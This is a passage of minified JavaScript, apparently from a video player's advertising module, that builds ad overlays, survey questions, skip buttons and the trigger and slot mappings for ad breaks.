g.y(this,this.y9);this.HM=new nF(x,this.UF,this.Lf);g.y(this,this.HM);this.XV=new a8(x);g.y(this,this.XV);this.wd=new WA(x,this.qf,Y);g.y(this,this.wd);this.ai=new DW(x,this.Gs,this.IU,this.Bv,Y);g.y(this,this.ai);this.Jx=new yy(x,this.Bv);g.y(this,this.Jx);this.wN=new CF(x,this.CF,this.IU,this.RU,this.qf);g.y(this,this.wN);this.Dx=new NT(x);g.y(this,this.Dx);this.Nb=new Jb(x);g.y(this,this.Nb);this.Ao=new fF(x);g.y(this,this.Ao);this.HS=Wq(function(){return new vA});
g.y(this,this.HS);this.sU=Wq(function(){return new Vy(I.IU)});
g.y(this,this.sU);this.K_=Wq(function(){return new Xv(I.f4,l,E)});
g.y(this,this.K_);this.yX=Wq(function(){return new oS(I.Lf,I.RU,I.Dx,I.H9)});
g.y(this,this.yX);this.A$=Wq(function(){return new qU(x,I.Ao,I.Dx,I.Bv,I.Iu,I.IU,I.RU,d,I.CF,I.H9,I.JR,I.EY,I.Gs,I.MU,I.au,I.Rf,I.Ai,I.Lf,e,Y,b)});
g.y(this,this.A$);this.I9=Wq(function(){return new yAC(I.UF,I.IU,I.RU,e,I.Ms,t,I.Lf,I.Bv)});
g.y(this,this.I9);this.q0={ZW:new Map([["OPPORTUNITY_TYPE_AD_BREAK_SERVICE_RESPONSE_RECEIVED",this.f4],["OPPORTUNITY_TYPE_LIVE_STREAM_BREAK_SIGNAL",this.UU],["OPPORTUNITY_TYPE_PLAYER_BYTES_MEDIA_LAYOUT_ENTERED",this.wE],["OPPORTUNITY_TYPE_PLAYER_RESPONSE_RECEIVED",this.rb],["OPPORTUNITY_TYPE_THROTTLED_AD_BREAK_REQUEST_SLOT_REENTRY",this.pC]]),kf:new Map([["SLOT_TYPE_AD_BREAK_REQUEST",this.dE],["SLOT_TYPE_FORECASTING",this.y9],["SLOT_TYPE_IN_PLAYER",this.y9],["SLOT_TYPE_PLAYER_BYTES",this.y9]]),UC:new Map([["TRIGGER_TYPE_SKIP_REQUESTED",
this.HM],["TRIGGER_TYPE_LAYOUT_ID_ENTERED",this.XV],["TRIGGER_TYPE_LAYOUT_ID_EXITED",this.XV],["TRIGGER_TYPE_LAYOUT_EXITED_FOR_REASON",this.XV],["TRIGGER_TYPE_ON_DIFFERENT_LAYOUT_ID_ENTERED",this.XV],["TRIGGER_TYPE_SLOT_ID_ENTERED",this.XV],["TRIGGER_TYPE_SLOT_ID_EXITED",this.XV],["TRIGGER_TYPE_SLOT_ID_FULFILLED_EMPTY",this.XV],["TRIGGER_TYPE_SLOT_ID_FULFILLED_NON_EMPTY",this.XV],["TRIGGER_TYPE_SLOT_ID_SCHEDULED",this.XV],["TRIGGER_TYPE_BEFORE_CONTENT_VIDEO_ID_STARTED",this.wd],["TRIGGER_TYPE_CONTENT_VIDEO_ID_ENDED",
this.ai],["TRIGGER_TYPE_MEDIA_TIME_RANGE",this.ai],["TRIGGER_TYPE_LIVE_STREAM_BREAK_STARTED",this.Jx],["TRIGGER_TYPE_LIVE_STREAM_BREAK_ENDED",this.Jx],["TRIGGER_TYPE_ON_LAYOUT_SELF_EXIT_REQUESTED",this.Dx],["TRIGGER_TYPE_ON_NEW_PLAYBACK_AFTER_CONTENT_VIDEO_ID",this.wd],["TRIGGER_TYPE_ON_OPPORTUNITY_TYPE_RECEIVED",this.Nb],["TRIGGER_TYPE_AD_BREAK_STARTED",this.Ao],["TRIGGER_TYPE_LIVE_STREAM_BREAK_SCHEDULED_DURATION_MATCHED",this.wN],["TRIGGER_TYPE_LIVE_STREAM_BREAK_SCHEDULED_DURATION_NOT_MATCHED",
this.wN],["TRIGGER_TYPE_NEW_SLOT_SCHEDULED_WITH_BREAK_DURATION",this.wN],["TRIGGER_TYPE_PREFETCH_CACHE_EXPIRED",this.wN],["TRIGGER_TYPE_CUE_BREAK_IDENTIFIED",this.wN]]),HV:new Map([["SLOT_TYPE_AD_BREAK_REQUEST",this.HS],["SLOT_TYPE_FORECASTING",this.HS],["SLOT_TYPE_IN_PLAYER",this.HS],["SLOT_TYPE_PLAYER_BYTES",this.sU]]),BY:new Map([["SLOT_TYPE_AD_BREAK_REQUEST",this.K_],["SLOT_TYPE_FORECASTING",this.yX],["SLOT_TYPE_PLAYER_BYTES",this.A$],["SLOT_TYPE_IN_PLAYER",this.I9]])};this.listeners=[e.get()];
this.TH={f4:this.f4,MC:this.Lf.get(),JQ:this.Rf.get(),LH:this.IU.get(),rb:this.rb,lQ:E.get(),JT:null,HB:this.HM,Y$:e.get(),LC:this.Bv.get()}};
Lmv=function(x,T,t,u){function H(){return I.Z}
g.W.call(this);var I=this;x.Y().experiments.aU("html5_dispose_of_manager_before_dependency")?(this.C=GND(H,x,T,t,u),this.Z=(new D9(this.C)).j(),g.y(this,this.Z),g.y(this,this.C)):(this.C=GND(H,x,T,t,u),g.y(this,this.C),this.Z=(new D9(this.C)).j(),g.y(this,this.Z))};
S4=function(x){return x.C.TH};
GND=function(x,T,t,u,H){try{var I=T.Y();if(g.f1(I))var E=new kNJ(x,T,t,u,H);else if(g.K1(I))E=new Fm3(x,T,t,u,H);else if(Dm(I))E=new hC3(x,T,t,u,H);else if(g.L2(I))E=new vnv(x,T,t,u,H);else if(g.L1(I))E=new VTV(x,T,t,u,H);else throw new TypeError("Unknown web interface");return E}catch(Z){return E=T.Y(),E3("Unexpected interface not supported in Ads Control Flow",void 0,void 0,{platform:E.C.cplatform,interface:E.C.c,HNv:E.C.cver,U_G:E.C.ctheme,PwG:E.C.cplayer,WoW:E.playerStyle}),new MT3(x,T,t,u,H)}};
nnC=function(x){DJ.call(this,x)};
aeD=function(x,T,t,u,H){fK.call(this,x,{L:"div",G:"ytp-ad-timed-pie-countdown-container",W:[{L:"svg",G:"ytp-ad-timed-pie-countdown",X:{viewBox:"0 0 20 20"},W:[{L:"circle",G:"ytp-ad-timed-pie-countdown-background",X:{r:"10",cx:"10",cy:"10"}},{L:"circle",G:"ytp-ad-timed-pie-countdown-inner",X:{r:"5",cx:"10",cy:"10"}},{L:"circle",G:"ytp-ad-timed-pie-countdown-outer",X:{r:"10",cx:"10",cy:"10"}}]}]},"timed-pie-countdown",T,t,u,H);this.K=this.Um("ytp-ad-timed-pie-countdown-container");this.j=this.Um("ytp-ad-timed-pie-countdown-inner");
this.D=this.Um("ytp-ad-timed-pie-countdown-outer");this.Z=Math.ceil(2*Math.PI*5);this.hide()};
gnX=function(x,T,t,u,H,I){ZJ.call(this,x,{L:"div",G:"ytp-ad-action-interstitial",X:{tabindex:"0"},W:[{L:"div",G:"ytp-ad-action-interstitial-background-container"},{L:"div",G:"ytp-ad-action-interstitial-slot",W:[{L:"div",G:"ytp-ad-action-interstitial-instream-info"},{L:"div",G:"ytp-ad-action-interstitial-card",W:[{L:"div",G:"ytp-ad-action-interstitial-image-container"},{L:"div",G:"ytp-ad-action-interstitial-headline-container"},{L:"div",G:"ytp-ad-action-interstitial-description-container"},{L:"div",
G:"ytp-ad-action-interstitial-action-button-container"}]}]}]},"ad-action-interstitial",T,t,u);this.cq=H;this.h_=I;this.navigationEndpoint=this.C=this.skipButton=this.Z=this.actionButton=null;this.nf=this.Um("ytp-ad-action-interstitial-instream-info");this.QU=this.Um("ytp-ad-action-interstitial-image-container");this.S=new a4(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,"ytp-ad-action-interstitial-image");g.y(this,this.S);this.S.yU(this.QU);this.Om=this.Um("ytp-ad-action-interstitial-headline-container");
this.D=new pK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,"ytp-ad-action-interstitial-headline");g.y(this,this.D);this.D.yU(this.Om);this.jY=this.Um("ytp-ad-action-interstitial-description-container");this.j=new pK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,"ytp-ad-action-interstitial-description");g.y(this,this.j);this.j.yU(this.jY);this.SY=this.Um("ytp-ad-action-interstitial-background-container");this.AQ=new a4(this.api,this.layoutId,this.interactionLoggingClientData,
this.JQ,"ytp-ad-action-interstitial-background",!0);g.y(this,this.AQ);this.AQ.yU(this.SY);this.tQ=this.Um("ytp-ad-action-interstitial-action-button-container");this.slot=this.Um("ytp-ad-action-interstitial-slot");this.eV=this.Um("ytp-ad-action-interstitial-card");this.K=new bj;g.y(this,this.K);this.hide()};
Be3=function(x){var T=g.Q9("html5-video-player");T&&g.Ic(T,"ytp-ad-display-override",x)};
Neq=function(x,T,t,u){ZJ.call(this,x,{L:"div",G:"ytp-ad-overlay-slot",W:[{L:"div",G:"ytp-ad-overlay-container"}]},"invideo-overlay",T,t,u);this.S=[];this.SY=this.Om=this.K=this.tQ=this.nf=null;this.AQ=!1;this.D=null;this.jY=0;x=this.Um("ytp-ad-overlay-container");this.QU=new uJ(x,45E3,6E3,.3,.4);g.y(this,this.QU);this.j=Wm3(this);g.y(this,this.j);this.j.yU(x);this.Z=DbJ(this);g.y(this,this.Z);this.Z.yU(x);this.C=yYC(this);g.y(this,this.C);this.C.yU(x);this.hide()};
Wm3=function(x){var T=new g.qS({L:"div",G:"ytp-ad-text-overlay",W:[{L:"div",G:"ytp-ad-overlay-ad-info-button-container"},{L:"div",G:"ytp-ad-overlay-close-container",W:[{L:"button",G:"ytp-ad-overlay-close-button",W:[kB(JYi)]}]},{L:"div",G:"ytp-ad-overlay-title",z9:"{{title}}"},{L:"div",G:"ytp-ad-overlay-desc",z9:"{{description}}"},{L:"div",DZ:["ytp-ad-overlay-link-inline-block","ytp-ad-overlay-link"],z9:"{{displayUrl}}"}]});x.V(T.Um("ytp-ad-overlay-title"),"click",function(t){ch(x,T.element,t)});
x.V(T.Um("ytp-ad-overlay-link"),"click",function(t){ch(x,T.element,t)});
x.V(T.Um("ytp-ad-overlay-close-container"),"click",x.S4);T.hide();return T};
DbJ=function(x){var T=new g.qS({L:"div",DZ:["ytp-ad-text-overlay","ytp-ad-enhanced-overlay"],W:[{L:"div",G:"ytp-ad-overlay-ad-info-button-container"},{L:"div",G:"ytp-ad-overlay-close-container",W:[{L:"button",G:"ytp-ad-overlay-close-button",W:[kB(JYi)]}]},{L:"div",G:"ytp-ad-overlay-text-image",W:[{L:"img",X:{src:"{{imageUrl}}"}}]},{L:"div",G:"ytp-ad-overlay-title",z9:"{{title}}"},{L:"div",G:"ytp-ad-overlay-desc",z9:"{{description}}"},{L:"div",DZ:["ytp-ad-overlay-link-inline-block","ytp-ad-overlay-link"],
z9:"{{displayUrl}}"}]});x.V(T.Um("ytp-ad-overlay-title"),"click",function(t){ch(x,T.element,t)});
x.V(T.Um("ytp-ad-overlay-link"),"click",function(t){ch(x,T.element,t)});
x.V(T.Um("ytp-ad-overlay-close-container"),"click",x.S4);x.V(T.Um("ytp-ad-overlay-text-image"),"click",x.ZFf);T.hide();return T};
yYC=function(x){var T=new g.qS({L:"div",G:"ytp-ad-image-overlay",W:[{L:"div",G:"ytp-ad-overlay-ad-info-button-container"},{L:"div",G:"ytp-ad-overlay-close-container",W:[{L:"button",G:"ytp-ad-overlay-close-button",W:[kB(JYi)]}]},{L:"div",G:"ytp-ad-overlay-image",W:[{L:"img",X:{src:"{{imageUrl}}",width:"{{width}}",height:"{{height}}"}}]}]});x.V(T.Um("ytp-ad-overlay-image"),"click",function(t){ch(x,T.element,t)});
x.V(T.Um("ytp-ad-overlay-close-container"),"click",x.S4);T.hide();return T};
Cam=function(x,T){if(T){var t=g.N(T,GO)||null;t==null?g.vW(Error("AdInfoRenderer did not contain an AdHoverTextButtonRenderer.")):(T=g.Q9("video-ads ytp-ad-module")||null,T==null?g.vW(Error("Could not locate the root ads container element to attach the ad info dialog.")):(x.Om=new g.qS({L:"div",G:"ytp-ad-overlay-ad-info-dialog-container"}),g.y(x,x.Om),x.Om.yU(T),T=new Qo(x.api,x.layoutId,x.interactionLoggingClientData,x.JQ,x.Om.element,!1),g.y(x,T),T.init(sV("ad-info-hover-text-button"),t,x.macros),
x.D?(T.yU(x.D,0),T.subscribe("f",x.AMG,x),T.subscribe("e",x.tL,x),x.V(x.D,"click",x.w9U),x.V(g.Q9("ytp-ad-button",T.element),"click",function(){var u;if(g.N((u=g.N(t.button,g.nx))==null?void 0:u.serviceEndpoint,py4))x.AQ=x.api.getPlayerState(1)===2,x.api.pauseVideo();else x.api.onAdUxClicked("ad-info-hover-text-button",x.layoutId)}),x.SY=T):g.vW(Error("Ad info button container within overlay ad was not present."))))}else g.Vh(Error("AdInfoRenderer was not present within InvideoOverlayAdRenderer."))};
p3v=function(x,T){if(Qki(x,YC)||x.api.isMinimized())return!1;var t=jb(T.title),u=jb(T.description);if(g.Y9(t)||g.Y9(u))return!1;x.createServerVe(x.j.element,T.trackingParams||null);x.j.updateValue("title",jb(T.title));x.j.updateValue("description",jb(T.description));x.j.updateValue("displayUrl",jb(T.displayUrl));T.navigationEndpoint&&g.sy(x.S,T.navigationEndpoint);x.j.show();x.QU.start();x.logVisibility(x.j.element,!0);x.V(x.j.element,"mouseover",function(){x.jY++});
return!0};
OJq=function(x,T){if(Qki(x,YC)||x.api.isMinimized())return!1;var t=jb(T.title),u=jb(T.description);if(g.Y9(t)||g.Y9(u))return!1;x.createServerVe(x.Z.element,T.trackingParams||null);x.Z.updateValue("title",jb(T.title));x.Z.updateValue("description",jb(T.description));x.Z.updateValue("displayUrl",jb(T.displayUrl));x.Z.updateValue("imageUrl",ZMJ(T.image));T.navigationEndpoint&&g.sy(x.S,T.navigationEndpoint);x.tQ=T.imageNavigationEndpoint||null;x.Z.show();x.QU.start();x.logVisibility(x.Z.element,!0);
x.V(x.Z.element,"mouseover",function(){x.jY++});
return!0};
fei=function(x,T){if(x.api.isMinimized())return!1;var t=ju3(T.image),u=t;t.width<YC.width&&(u=YC);if(t.width===0||t.height===0||Qki(x,u))return!1;x.createServerVe(x.C.element,T.trackingParams||null);x.C.updateValue("imageUrl",ZMJ(T.image));x.C.updateValue("width",t.width);x.C.updateValue("height",t.height);T.navigationEndpoint&&g.sy(x.S,T.navigationEndpoint);g.Zt(x.C.Um("ytp-ad-image-overlay"),"max-width",t.width+"px");x.C.show();x.logVisibility(x.C.element,!0);x.V(x.C.element,"mouseover",function(){x.jY++;
x.api.x9("invideo-overlay",x.layoutId)});
x.V(x.C.element,"mouseout",function(){x.api.u$("invideo-overlay",x.layoutId)});
return!0};
Qki=function(x,T){var t=x.api.bG().xL(),u=x.api.Ny(!0,!1);return(T=mY(t,t.height-(u.height+u.top),T))?(x.nf&&T&&(t=g.hq(x.macros),t.ERRORCODE=T.b7.toString(),t.ERROR_MSG=T.errorMessage,x.layoutId?Jh(x.JQ,x.nf,x.layoutId,t):g.vW(Error("Missing layoutId for invideo_overlay_ad."))),!0):!1};
ch=function(x,T,t){var u=g.hq(x.macros),H=g.cf(T);u.AW={toString:function(){return H.width.toString()}};
u.AH={toString:function(){return H.height.toString()}};
var I=g.Pf(t,T).floor();u.I_X={toString:function(){return I.x.toString()}};
u.NX={toString:function(){return I.x.toString()}};
u.I_Y={toString:function(){return I.y.toString()}};
u.NY={toString:function(){return I.y.toString()}};
u.NM={toString:function(){return x.jY.toString()}};
T=g.S(x.S);for(t=T.next();!t.done;t=T.next())t=t.value,x.layoutId?Jh(x.JQ,t,x.layoutId,u):g.vW(Error("Missing layoutId for invideo_overlay_ad."));x.api.pauseVideo()};
w3f=function(x,T){x=x.api.getRootNode();g.Ic(x,"ytp-ad-overlay-open",T);g.Ic(x,"ytp-ad-overlay-closed",!T)};
KmC=function(x,T,t,u,H){fK.call(this,x,{L:"div",G:"ytp-ad-message-overlay",W:[{L:"div",G:"ytp-ad-message-slot"}]},"ad-message",T,t,u,H);var I=this;this.D=-1;this.j=0;this.jY=!1;this.Om=this.Um("ytp-ad-message-slot");this.Z=new g.qS({L:"span",G:"ytp-ad-message-container"});this.Z.yU(this.Om);g.y(this,this.Z);this.messageText=new pK(this.api,this.layoutId,this.interactionLoggingClientData,u,"ytp-ad-message-text");g.y(this,this.messageText);this.messageText.yU(this.Z.element);this.K=new g.XK(this.Z,
400,!1,100,function(){I.hide()});
g.y(this,this.K);this.hide()};
X33=function(x,T){x=x.api.getRootNode();g.Ic(x,"ytp-ad-overlay-open",T);g.Ic(x,"ytp-ad-overlay-closed",!T)};
xC3=function(x,T,t,u){ZJ.call(this,x,{L:"div",G:"ytp-ad-underlay-companion",W:[{L:"div",G:"ytp-ad-underlay-side-container",W:[{L:"div",G:"ytp-ad-underlay-image-container"},{L:"div",G:"ytp-ad-underlay-description-container"},{L:"div",G:"ytp-ad-underlay-headline-container"},{L:"div",G:"ytp-ad-underlay-action-button-container"}]}]},"player-underlay",T,t,u);this.actionButton=null;this.Om=this.Um("ytp-ad-underlay-image-container");this.j=new a4(this.api,this.layoutId,this.interactionLoggingClientData,
this.JQ,"ytp-ad-underlay-image");g.y(this,this.j);this.j.yU(this.Om);this.jY=this.Um("ytp-ad-underlay-headline-container");this.Z=new pK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,"ytp-ad-underlay-headline");g.y(this,this.Z);this.Z.yU(this.jY);this.S=this.Um("ytp-ad-underlay-description-container");this.K=new pK(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,"ytp-ad-underlay-description");g.y(this,this.K);this.K.yU(this.S);this.D=this.Um("ytp-ad-underlay-action-button-container");
this.C=this.Um("ytp-ad-underlay-side-container");this.hide()};
TNV=function(x){var T=g.Q9("html5-video-player");T&&g.Ic(T,"ytp-ad-display-override",x)};
Ug=function(x,T,t,u,H,I){I=I===void 0?function(){}:I;
ZJ.call(this,x,{L:"div",G:"ytp-ad-survey-answer"},"survey-answer",T,t,u);this.index=H;this.onSelected=I;this.C=null;this.toggledLoggingParams="";this.answer=this.Um("ytp-ad-survey-answer");this.hide()};
oHX=function(x,T,t,u){ZJ.call(this,x,{L:"div",G:"ytp-ad-survey-none-of-the-above"},"survey-none-of-the-above",T,t,u);this.button=null;this.C=this.Um("ytp-ad-survey-none-of-the-above");this.hide()};
bt=function(x,T,t,u){var H=["ytp-ad-survey-submit-button"];H.push("ytp-ad-survey-submit-button-rounded");FK.call(this,x,T,t,u,H,"survey-submit")};
rW=function(x,T,t,u,H){ZJ.call(this,x,{L:"div",G:"ytp-ad-survey-player-overlay",W:[{L:"div",G:"ytp-ad-survey-player-overlay-instream-info"},{L:"div",G:"ytp-ad-survey-player-overlay-skip-preview-submit",W:[{L:"div",G:"ytp-ad-survey-player-overlay-skip-or-preview"},{L:"div",G:"ytp-ad-survey-player-overlay-submit"}]},{L:"div",G:"ytp-ad-survey-player-overlay-instream-user-sentiment"}]},"survey-player-overlay",T,t,u);this.K=H;this.Z=this.C=null;this.j=this.Um("ytp-ad-survey-player-overlay-instream-info");
this.skipOrPreview=this.Um("ytp-ad-survey-player-overlay-skip-or-preview");this.submitButton=this.Um("ytp-ad-survey-player-overlay-submit");g.y(this,this.K);this.hide()};
zB=function(x,T,t,u,H,I){I=I===void 0?function(){}:I;
ZJ.call(this,x,{L:"div",G:"ytp-ad-survey-question",W:[{L:"div",DZ:["ytp-ad-survey-question-text","ytp-ad-survey-question-foreground"]},{L:"div",DZ:["ytp-ad-survey-answers","ytp-ad-survey-question-foreground"]},{L:"div",DZ:["ytp-ad-survey-question-player-overlay","ytp-ad-survey-question-foreground"]},{L:"div",G:"ytp-ad-survey-question-background"}]},H,T,t,u);this.Om=I;this.K=null;this.Z=[];this.C=null;this.S=this.api.Y().experiments.aU("a11y_h5_associate_survey_question");this.question=this.Um("ytp-ad-survey-question");
this.QU=this.Um("ytp-ad-survey-question-background");this.questionText=this.Um("ytp-ad-survey-question-text");this.answers=this.Um("ytp-ad-survey-answers");this.playerOverlay=this.Um("ytp-ad-survey-question-player-overlay");this.j=Date.now()};
tlC=function(x,T){T=g.eb(T);g.$U(x.questionText,T);x.S&&x.questionText.setAttribute("id",sV("survey-question-text"))};
sNX=function(x,T,t,u){u=new Ug(x.api,x.layoutId,x.interactionLoggingClientData,x.JQ,u,x.Om);u.yU(x.answers);u.init(sV("survey-answer"),T,t);x.S&&(T=x.questionText.getAttribute("id"),T!=null&&(u.C!==null?u.C.Z.setAttribute("aria-describedby",T):u.answer.getElementsByTagName("button")[0].setAttribute("aria-describedby",T)));x.Z.push(u)};
$Cf=function(x,T){if(T){var t=T.background;t&&g.N(t,uID)&&(t=(t=g.N(t,uID).image)&&nK(t)||"",g.Y9(t)?g.Vh(Error("Found ThumbnailDetails without valid image URL")):g.Zt(x.QU,"backgroundImage","url("+t+")"));if(T.durationMilliseconds==null||T.durationMilliseconds===void 0||T.durationMilliseconds===0)g.vW(Error("durationMilliseconds unset or 0 for SurveyAdQuestionCommon: "+JSON.stringify(T)));else{x.j=g.x9();x.C=new Rn(x.api,T.durationMilliseconds);g.y(x,x.C);if(x.C&&T.instreamAdPlayerOverlay&&g.N(T.instreamAdPlayerOverlay,
Vr))try{var u=new rW(x.api,x.layoutId,x.interactionLoggingClientData,x.JQ,x.C);u.yU(x.playerOverlay);u.init(sV("survey-player-overlay"),g.N(T.instreamAdPlayerOverlay,Vr),x.macros);x.K=u;g.y(x,u);x.F1()}catch(H){g.vW(Error("ISAPOR had an error when initializing. Error: "+(H+" SurveyAdQuestionCommon: "+JSON.stringify(T))))}else g.vW(Error("ISAPOR was not present in renderer. SurveyAdQuestionCommon: "+JSON.stringify(T)));x.C&&T.durationMilliseconds&&T.durationMilliseconds>0?(T=new V6(x.api,x.C),T.yU(x.playerOverlay),
g.y(x,T)):g.vW(Error("Survey progress bar was not added. SurveyAdQuestionCommon: "+JSON.stringify(T)))}}else g.vW(Error("addCommonComponents() needs to be called before starting countdown."))};
Ho3=function(x){function T(t){return{toString:function(){return t()}}}
x.macros.SURVEY_LOCAL_TIME_EPOCH_S=T(function(){var t=new Date;return(Math.round(t.valueOf()/1E3)+-1*t.getTimezoneOffset()*60).toString()});
x.macros.SURVEY_ELAPSED_MS=T(function(){return(Date.now()-x.j).toString()})};
iov=function(x,T,t,u,H){zB.call(this,x,T,t,u,"survey-question-multi-select");this.jY=H;this.noneOfTheAbove=null;this.submitEndpoints=[];this.D=null;this.hide()};
IPq=function(x,T,t){x.noneOfTheAbove=new oHX(x.api,x.layoutId,x.interactionLoggingClientData,x.JQ);x.noneOfTheAbove.yU(x.answers);x.noneOfTheAbove.init(sV("survey-none-of-the-above"),T,t)};
qNX=function(x){x.Z.forEach(function(T){T.C.toggleButton(!1)});
EHD(x,!0)};
EHD=function(x,T){var t=x.K;x=ZoD(x);T=T===void 0?!1:T;t.C&&(x?t.C.hide():t.C.show(),T&&t.C instanceof m6&&!t.C.K&&trV(t.C,!1));t.Z&&(x?t.Z.show():t.Z.hide())};
ZoD=function(x){return x.Z.some(function(T){return T.C.isToggled()})||x.noneOfTheAbove.button.isToggled()};
kC=function(x,T,t,u,H){zB.call(this,x,T,t,u,"survey-question-single-select",function(E){I.api.Y().B("supports_multi_step_on_desktop")&&H([E])});
var I=this;this.hide()};
FL=function(x,T,t,u){ZJ.call(this,x,{L:"div",G:"ytp-ad-survey",W:[{L:"div",G:"ytp-ad-survey-questions"}]},"survey",T,t,u);this.questions=[];this.Z=[];this.conditioningRules=[];this.C=0;this.D=this.Um("ytp-ad-survey-questions");this.api.Y().B("fix_survey_color_contrast_on_destop")&&this.Um("ytp-ad-survey").classList.add("color-contrast-fix");this.api.Y().B("web_enable_speedmaster")&&this.Um("ytp-ad-survey").classList.add("relative-positioning-survey");this.hide()};
lPV=function(x,T){var t=x.Z[T],u;(u=x.j)==null||u.dispose();g.N(t,vb)?jNJ(x,g.N(t,vb),x.macros):g.N(t,h4)&&epX(x,g.N(t,h4),x.macros);x.C=T};
jNJ=function(x,T,t){var u=new kC(x.api,x.layoutId,x.interactionLoggingClientData,x.JQ,x.K.bind(x));u.yU(x.D);u.init(sV("survey-question-single-select"),T,t);x.api.Y().B("supports_multi_step_on_desktop")?x.j=u:x.questions.push(u);g.y(x,u)};
epX=function(x,T,t){var u=new iov(x.api,x.layoutId,x.interactionLoggingClientData,x.JQ,x.K.bind(x));u.yU(x.D);u.init(sV("survey-question-multi-select"),T,t);x.api.Y().B("supports_multi_step_on_desktop")?x.j=u:x.questions.push(u);g.y(x,u)};
hz=function(x,T,t,u){ZJ.call(this,x,{L:"div",G:"ytp-ad-survey-interstitial",W:[{L:"div",G:"ytp-ad-survey-interstitial-contents",W:[{L:"div",G:"ytp-ad-survey-interstitial-logo",W:[{L:"div",G:"ytp-ad-survey-interstitial-logo-image"}]},{L:"div",G:"ytp-ad-survey-interstitial-text"}]}]},"survey-interstitial",T,t,u);this.C=this.actionButton=null;this.interstitial=this.Um("ytp-ad-survey-interstitial");this.Z=this.Um("ytp-ad-survey-interstitial-contents");this.text=this.Um("ytp-ad-survey-interstitial-text");
this.logoImage=this.Um("ytp-ad-survey-interstitial-logo-image");this.transition=new g.XK(this,500,!1,300);g.y(this,this.transition)};
mCf=function(x,T){T=T&&nK(T)||"";if(g.Y9(T))g.Vh(Error("Found ThumbnailDetails without valid image URL"));else{var t=x.style;x=x.style.cssText;var u=document.implementation.createHTMLDocument("").createElement("DIV");u.style.cssText=x;x=Dnv(u.style);t.cssText=[x,'background-image:url("'+T+'");'].join("")}};
dCV=function(x){var T=g.Q9("html5-video-player");T&&g.Ic(T,"ytp-ad-display-override",x)};
vh=function(x,T,t,u,H,I){I=I===void 0?0:I;fK.call(this,x,{L:"div",G:"ytp-preview-ad",W:[{L:"div",G:"ytp-preview-ad__text"}]},"preview-ad",T,t,u,H);var E=this;this.jY=I;this.Z=0;this.K=-1;this.j=this.Um("ytp-preview-ad__text");switch(this.jY){case 1:this.j.classList.add("ytp-preview-ad__text--font--small")}this.transition=new g.XK(this,400,!1,100,function(){E.hide()});
g.y(this,this.transition);this.hide()};
V_=function(x,T,t,u){ZJ.call(this,x,{L:"img",G:"ytp-ad-avatar"},"ad-avatar",T,t,u);this.hide()};
MlD=function(x){switch(x.size){case "AD_AVATAR_SIZE_XXS":return 16;case "AD_AVATAR_SIZE_XS":return 24;case "AD_AVATAR_SIZE_S":return 32;case "AD_AVATAR_SIZE_M":return 36;case "AD_AVATAR_SIZE_L":return 56;case "AD_AVATAR_SIZE_XL":return 72;default:return 36}};
GB=function(x,T,t,u,H,I){H=H===void 0?!1:H;I=I===void 0?!1:I;ZJ.call(this,x,{L:"button",G:"ytp-ad-button-vm"},"ad-button",T,t,u);this.buttonText=this.buttonIcon=null;this.hide();this.C=H;this.Z=I};
Ari=function(x,T,t,u,H){fK.call(this,x,{L:"div",DZ:["ytp-ad-avatar-lockup-card--inactive","ytp-ad-avatar-lockup-card"],W:[{L:"div",G:"ytp-ad-avatar-lockup-card__avatar_and_text_container",W:[{L:"div",G:"ytp-ad-avatar-lockup-card__text_container"}]}]},"ad-avatar-lockup-card",T,t,u,H);this.startMilliseconds=0;this.adAvatar=new V_(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ);g.y(this,this.adAvatar);tn(this.element,this.adAvatar.element,0);this.headline=new rJ(this.api,this.layoutId,
this.interactionLoggingClientData,this.JQ);g.y(this,this.headline);this.headline.yU(this.Um("ytp-ad-avatar-lockup-card__text_container"));this.headline.element.classList.add("ytp-ad-avatar-lockup-card__headline");this.description=new rJ(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ);g.y(this,this.description);this.description.yU(this.Um("ytp-ad-avatar-lockup-card__text_container"));this.description.element.classList.add("ytp-ad-avatar-lockup-card__description");this.adButton=new GB(this.api,
this.layoutId,this.interactionLoggingClientData,this.JQ);g.y(this,this.adButton);this.adButton.yU(this.element);this.hide()};
LL=function(x,T,t,u){ZJ.call(this,x,{L:"button",G:"ytp-skip-ad-button",W:[{L:"div",G:"ytp-skip-ad-button__text"}]},"skip-button",T,t,u);var H=this;this.Z=!1;this.K=this.Um("ytp-skip-ad-button__text");this.transition=new g.XK(this,500,!1,100,function(){H.hide()});
g.y(this,this.transition);this.C=new uJ(this.element,15E3,5E3,.5,.5,!0);g.y(this,this.C);this.hide()};
Rpm=function(x,T,t,u,H){fK.call(this,x,{L:"div",G:"ytp-skip-ad"},"skip-ad",T,t,u,H);this.skipOffsetMilliseconds=0;this.K=this.isSkippable=!1;var I;if((I=this.api.getVideoData())==null?0:I.isDaiEnabled())this.K=this.api.Y().B("clean_player_style_fix_on_web");if(this.K||!this.api.Y().experiments.aU("disable_ad_preview_for_instream_ads"))this.Z=new vh(this.api,this.layoutId,this.interactionLoggingClientData,this.JQ,this.C),g.y(this,this.Z),this.Z.yU(this.element);this.j=new LL(this.api,this.layoutId,
this.interactionLoggingClientData,this.JQ);g.y(this,this.j);this.j.yU(this.element);this.hide()};
nL=function(x,T,t,u){ZJ.call(this,x,{L:"div",G:"ytp-visit-advertiser-link"},"visit-advertiser-link",T,t,u);this.hide();this.api.B("enable_ad_pod_index_autohide")&&this.element.classList.add("ytp-visit-advertiser-link--clean-player");this.api.B("clean_player_style_fix_on_web")&&this.element.classList.add("ytp-visit-advertiser-link--clean-player-with-light-shadow")};
a5=function(x,T,t,u,H){ZJ.call(this,x,{L:"div",G:"ytp-ad-player-overlay-layout",W:[{L:"div",G:"ytp-ad-player-overlay-layout__player-card-container"},{L:"div",G:"ytp-ad-player-overlay-layout__ad-info-container"},{L:"div",G:"ytp-ad-player-overlay-layout__skip-or-preview-container"},{L:"div",G:"ytp-ad-player-overlay-layout__ad-disclosure-banner-container"}]},"player-overlay-layout",T,t,u);this.Z=H;this.Om=this.Um("ytp-ad-player-overlay-layout__player-card-container");this.C=this.Um("ytp-ad-player-overlay-layout__ad-info-container");
this.S=this.Um("ytp-ad-player-overlay-layout__skip-or-preview-container");this.jY=this.Um("ytp-ad-player-overlay-layout__ad-disclosure-banner-container");this.hide()};
